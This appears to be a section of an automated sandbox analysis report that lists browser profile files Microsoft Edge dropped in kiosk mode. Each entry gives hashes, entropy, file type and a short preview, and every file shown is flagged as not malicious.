C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.246130279173082
Encrypted:	false
SSDEEP:	6:LMRq1wkn23oH+TcwtRa2jM8B2KLlO4+FL+q2Pwkn23oH+TcwtRa2jMGIFUv:4bfYebRjFLU4PvYfYebREFUv
MD5:	C98A1FAC8FE04345C58D1018725D9100
SHA1:	11059FF04D9AD87F22FE924B720B39CE0FC4496B
SHA-256:	B3B4C16AC6C1177B0F403C705841F47CCC09F3B2294BFEA6617C3DE3B6E94F0F
SHA-512:	B7B0B203FB6E1993D86EB78B2F0FD9DBA4BDD0710E8B37C5AA3970EDBEC6B5A69C06222A352A5935A8B74EC8D6169118EEE9F2AD83CFD2A3CAA3B30393CD3B29
Malicious:	false
Preview:	2024/08/31-23:09:16.324 19a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb since it was missing..2024/08/31-23:09:17.456 19a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\0bee317f-270e-40d8-9d38-4e959e97b7f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\2341597b-5cd3-4b4f-a9d4-25d3e442aab6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\5520d1da-520a-4c55-9901-32bc1256acb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7608870718030554
Encrypted:	false
SSDEEP:	48:TKIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBkMR:eIEumQv8m1ccnvS60w
MD5:	9500B27858432C67C9DB4D4438629761
SHA1:	884EFB44D922972E70390F97388295673859E4B7
SHA-256:	DE9020A79E38E5A31A2065E1ADD0C9D07329B596C0EDD3F9E28044ED4B2FE1F1
SHA-512:	8E3A4F69504AE076539ADA2904FF6D8453DC9A7D48B57A2E8628D1E9651C90CDDC5D9CEA9494E12F1E1FD13B73BFB3AE791C3B0960CE984F4A77D61273103655
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports~RF3c4e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\f8139160-f5a1-495b-a221-7153af596bf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6290
Entropy (8bit):	4.9688455858143685
Encrypted:	false
SSDEEP:	96:stZqfvis1W5db93CT1N8zGQjs85eh6Cb7/x+6MhmuecmAeKE1L2M0/EJ:stZJs45KT1Nkrjs88bV+FiAeP0MJ
MD5:	EE711BF892C8D150277B2298B8CFFD20
SHA1:	BCE29773BE9CBE1BB67B44DD33524F7F03A76915
SHA-256:	5AEE8B806B40EC051C2C0E98BDF006D5DC267AB854FE49B716D39587728EA3A8
SHA-512:	2FF34A5CBE3C73A185633A23AB5AEEEBD4E0EB63C27CCD00A55860BBDE6769AB55F7310E2D5616B30641334D58325401173F5946942D9597E0C6D1669AEB008E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369633756607037","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369633756599877"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF453c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6290
Entropy (8bit):	4.9688455858143685
Encrypted:	false
SSDEEP:	96:stZqfvis1W5db93CT1N8zGQjs85eh6Cb7/x+6MhmuecmAeKE1L2M0/EJ:stZJs45KT1Nkrjs88bV+FiAeP0MJ
MD5:	EE711BF892C8D150277B2298B8CFFD20
SHA1:	BCE29773BE9CBE1BB67B44DD33524F7F03A76915
SHA-256:	5AEE8B806B40EC051C2C0E98BDF006D5DC267AB854FE49B716D39587728EA3A8
SHA-512:	2FF34A5CBE3C73A185633A23AB5AEEEBD4E0EB63C27CCD00A55860BBDE6769AB55F7310E2D5616B30641334D58325401173F5946942D9597E0C6D1669AEB008E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369633756607037","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369633756599877"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566274076086274
Encrypted:	false
SSDEEP:	768:VT7+zAWPsqf2l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/2byCrwigpGtuy:VT7+zAWPsqf2lu1jai2yni5tZ
MD5:	3DEB23947819FB8F1A3B96827E7B03B5
SHA1:	B148746326E0EE9EAE0E2F7F6BC4DCF330173425
SHA-256:	D1770E55D7BE66C70DF5217C0D5A7D2C3F173B8DDDCFAAF6243F03C80931A3A9
SHA-512:	9504F9623428C3BBBD237882C765A9D84C439BF3A3B26C0F5E2E28AC4A8F26AD0207E4633341A52D269C0DA605972624ACD586B609D2F8FDEC7C9F5C6997641C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633755703113","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633755703113","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences~RF422f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566274076086274
Encrypted:	false
SSDEEP:	768:VT7+zAWPsqf2l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/2byCrwigpGtuy:VT7+zAWPsqf2lu1jai2yni5tZ
MD5:	3DEB23947819FB8F1A3B96827E7B03B5
SHA1:	B148746326E0EE9EAE0E2F7F6BC4DCF330173425
SHA-256:	D1770E55D7BE66C70DF5217C0D5A7D2C3F173B8DDDCFAAF6243F03C80931A3A9
SHA-512:	9504F9623428C3BBBD237882C765A9D84C439BF3A3B26C0F5E2E28AC4A8F26AD0207E4633341A52D269C0DA605972624ACD586B609D2F8FDEC7C9F5C6997641C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369633755703113","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369633755703113","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.160877598186631
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljl:S85aEFljljljl
MD5:	7733303DBE19B64C38F3DE4FE224BE9A
SHA1:	8CA37B38028A2DB895A4570E0536859B3CC5C279
SHA-256:	B10C1BA416A632CD57232C81A5C2E8EE76A716E0737D10EABE1D430BEC50739D
SHA-512:	E8CD965BCA0480DB9808CB1B461AC5BF5935C3CBF31C10FDF090D406F4BC4F3187D717199DCF94197B8DF24C1D6E4FF07241D8CFFFD9AEE06CCE9674F0220E29
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
